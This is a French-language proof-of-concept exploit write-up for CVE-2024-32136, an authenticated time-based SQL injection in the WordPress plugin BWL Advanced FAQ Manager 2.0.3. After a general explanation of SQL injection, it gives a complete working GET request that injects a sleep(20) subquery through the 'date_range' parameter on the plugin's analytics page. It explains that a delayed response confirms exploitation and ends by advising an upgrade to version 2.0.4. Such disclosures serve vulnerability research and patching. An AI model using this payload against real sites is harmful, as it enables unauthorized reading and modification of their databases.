
Exploit de preuve de concept pour CVE-2024-32136, une injection SQL post-authentifiée dans BWL Advanced FAQ Manager 2.0.3, démontrant une manipulation de base de données basée sur le temps via le paramètre 'date_range'.
Exploit Title: BWL Advanced FAQ Manager 2.0.3 - Injection SQL post-authentifiée
Date: 14 Apr 2024
Exploit Author: Ivan Spiridonov (xbz0n)
Software Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Version: 2.0.3
Tested on: Ubuntu 20.04
CVE: CVE-2024-32136
L'injection SQL est un type de vulnérabilité de sécurité qui permet à un attaquant d'interférer avec les requêtes de base de données d'une application. Elle implique généralement l'insertion ou « l'injection » d'une requête SQL via les données d'entrée du client dans l'application. Une exploitation réussie d'une injection SQL peut lire des données sensibles de la base de données, modifier des données de la base de données (Insert/Update/Delete), exécuter des opérations d'administration sur la base de données (telles que l'arrêt du DBMS), récupérer le contenu d'un fichier donné présent sur le système de fichiers du DBMS, et dans certains cas, émettre des commandes vers le système d'exploitation.
date_range/wp-admin/edit.phpLa vulnérabilité existe dans le paramètre 'date_range' utilisé dans la page 'bwl-advanced-faq-analytics' du plugin BWL Advanced FAQ Manager. Les attaquants authentifiés peuvent exécuter des commandes SQL arbitraires dans la base de données en manipulant l'entrée de ce paramètre.
La requête GET suivante démontre la vulnérabilité :
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Si la réponse du serveur est retardée d'environ 20 secondes, cela indique une exploitation réussie de l'injection SQL temporelle, confirmant la vulnérabilité.
Les utilisateurs de BWL Advanced FAQ Manager v2.0.3 sont invités à mettre à jour le plugin vers la version corrigée v2.0.4.